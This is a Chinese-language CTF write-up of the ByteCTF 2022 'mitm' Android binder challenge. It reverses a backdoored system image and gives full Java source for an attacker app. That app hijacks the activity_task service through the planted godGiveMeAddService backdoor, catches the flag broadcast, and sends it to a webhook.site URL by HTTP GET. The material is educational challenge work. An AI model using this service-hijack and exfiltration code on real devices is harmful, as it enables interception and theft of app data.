bytectf_mitm

Posted by marginal on 2022-11-13
Estimated Reading Time 7 Minutes
Words 1.4k In Total
Viewed Times

bytectf-mitm

这是一道关于android-binder的题目(android 漏洞题), 涉及到服务权限相关的东西, 之前实习的时候研究过关于binder的东西, 所以这里赛后就复现一下, 如果有什么不对的地方, 欢迎师傅们指出.

本地测试环境

先是拿到题目文件, 在readme里面有提示告诉我们启动一个出题人魔改的镜像.

1
2
3
在Android Studio中通过SDK Manager -> SDK Update Sites添加如下url:
https://gwynsh.oss-cn-shanghai.aliyuncs.com/mitm.xml
之后就可以创建模拟器在本地测试。

SDK Update Sites添加好了之后, 在SDK Platforms选项里面找到Bytedance CTF System Image镜像

image-20221114084651233

下载好了之后, 就可以直接创建avd了(在x86 images里面找到对应的镜像)

server.py描述了apk的上传与安装过程, 大致就是分别安装app-debug.apk以及自定义的apk. 这里注意, 自定义apk的包名只能是com.bytedance.attackmitm, 启动的类名为MainActivity.

1
2
ATTACKER = "com.bytedance.attackmitm"
adb_activity(f"{ATTACKER}/.MainActivity")

被泄露的app

通过jeb的分析我们看到check()在与activity_task通讯返回0x539之后会讲flag信息通过广播发送出去.看到这里题目的意思应该是让我们想办法更改activity_task服务的返回值以及写一个广播接收器.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
IBinder am = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity_task");
Parcel parcel0 = Parcel.obtain();
Parcel parcel1 = Parcel.obtain();
parcel0.writeInterfaceToken("android.app.IActivityTaskManager");
am.transact(0x11, parcel0, parcel1, 0);
parcel1.readException();
int v = parcel1.readInt();
Log.d(MainActivity.TAG, String.valueOf(v));
if(v == 0x539) {
Log.d(MainActivity.TAG, "Congrats!");
Intent intent = new Intent();
intent.setAction("bytedance.ctf.androidmitm");
intent.putExtra("flag", "ByteCTF{xxx}");
this.sendBroadcast(intent);
return;
}

首先是更改activtiy_task服务, 这个服务属于系统服务, 普通app没有权限去更改系统服务, 也就是没有权限调用android.os.ServiceManager.addService()这个方法.所以我们得借助更高权限的应用来达到我们的目的. 拥有这一权限的应用, 比如系统app(存放在/system/priv-app, /system/app等目录下, 用户安装的app在/data/app目录下), 还有就是frameworks(activty_task服务的注册就是在这里).

frameworks

首先需要提取frameworks.jar以及service.jar(要寻找服务添加的权限提升, services.jar就是服务注册代码的存放位置), 直接用adb从模拟器pull下来就行了

1
2
adb pull system/framework/framework.jar .\
adb pull system/framework/services.jar .\

然后用jeb去分析frameworks.jar以及services.jar

在services.jar找到权限提升漏洞的地方, 明显看出来这其实是出题人留下的后门.

1
2
3
4
public void godGiveMeAddService(String name, IBinder service) {
Log.d("Bytedance", "Android God gives you addService()");
ServiceManager.addService(name, service, false, 8);
}

找一下交叉引用发现services.jar里面没有, framework.jar: android.app.IActivityManager存在调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {
Stub iActivityManager$Stub0 = this;
Parcel parcel2 = data;
Parcel parcel3 = reply;
if(code != 0x5F4E5446) {
IBinder iBinder0 = null;
int v2 = 0;
switch(code) {
//...................................................................
case 0xDF: {
break;
}
default: {
return super.onTransact(code, data, reply, flags);
}
}

parcel2.enforceInterface("android.app.IActivityManager");
iActivityManager$Stub0.godGiveMeAddService(data.readString(), data.readStrongBinder());
reply.writeNoException();
return true;
//..........................
}
//............
}

这里也是一个binder通讯, 所以目前大致的思路是

  1. 设计一个binder, onTransact通讯在code等于0x11的时候往返回包里面写一个0x539
  2. 用binder与android.app.IActivityManager通讯, 将activtiy_task服务替换为我们自己设计的binder
  3. 注册一个广播接收器, 接受action为"bytedance.ctf.androidmitm"的广播
  4. 启动app-debug.apk应用, 触发check函数.
  5. 广播接收器进行flag接收与发送

自定义app

MainActivity.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.bytedance.attackmitm;

import androidx.appcompat.app.AppCompatActivity;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.ConnectivityManager;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.net.HttpURLConnection;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
static IBinder old;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
IBinder am = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity");
old = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity_task");
android.os.Parcel _data = android.os.Parcel.obtain();
_data.writeInterfaceToken("android.app.IActivityManager");
_data.writeString("activity_task");
_data.writeStrongBinder(new MyBinder());
android.os.Parcel _reply = android.os.Parcel.obtain();
am.transact(0xDF, _data, _reply, 0);
_reply.readException();
BroadcastReceiver br = new MyReceiver();
IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
filter.addAction("bytedance.ctf.androidmitm");
this.registerReceiver(br, filter);
Intent mIntent = new Intent( );
mIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
ComponentName comp = new ComponentName("com.bytedance.mitm","com.bytedance.mitm.MainActivity");
mIntent.setComponent(comp);
mIntent.setAction("android.intent.action.VIEW");
startActivity(mIntent);

} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (RemoteException e) {
e.printStackTrace();
}
setContentView(R.layout.activity_main);
}
}

MyBinder.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.bytedance.attackmitm;

import android.os.Binder;
import android.os.Parcel;
import android.os.RemoteException;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;

public class MyBinder extends Binder {
@Override
protected boolean onTransact(int code, @NonNull Parcel data, @Nullable Parcel reply, int flags) throws RemoteException {
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
if (code == 0x11)
{
reply.writeNoException();
reply.writeInt(0x539);
return true;
}
return MainActivity.old.transact(code, data, reply, flags); //需要正常执行activity_task服务的功能
}
}

MyReceiver.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.bytedance.attackmitm;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;

public class MyReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
// TODO: This method is called when the BroadcastReceiver is receiving
// an Intent broadcast.
String flag = "???";
if (intent.getAction().equals("bytedance.ctf.androidmitm"))
{
flag = intent.getStringExtra("flag");
httpGet(flag);
}
return;
}
private void httpGet(String msg){
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
try {
URL url = new URL("https://webhook.site/63909e35-ad00-4575-9200-699ff4971f4b?flag=" + msg);
connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
connection.getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
}

image-20221114193720960


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !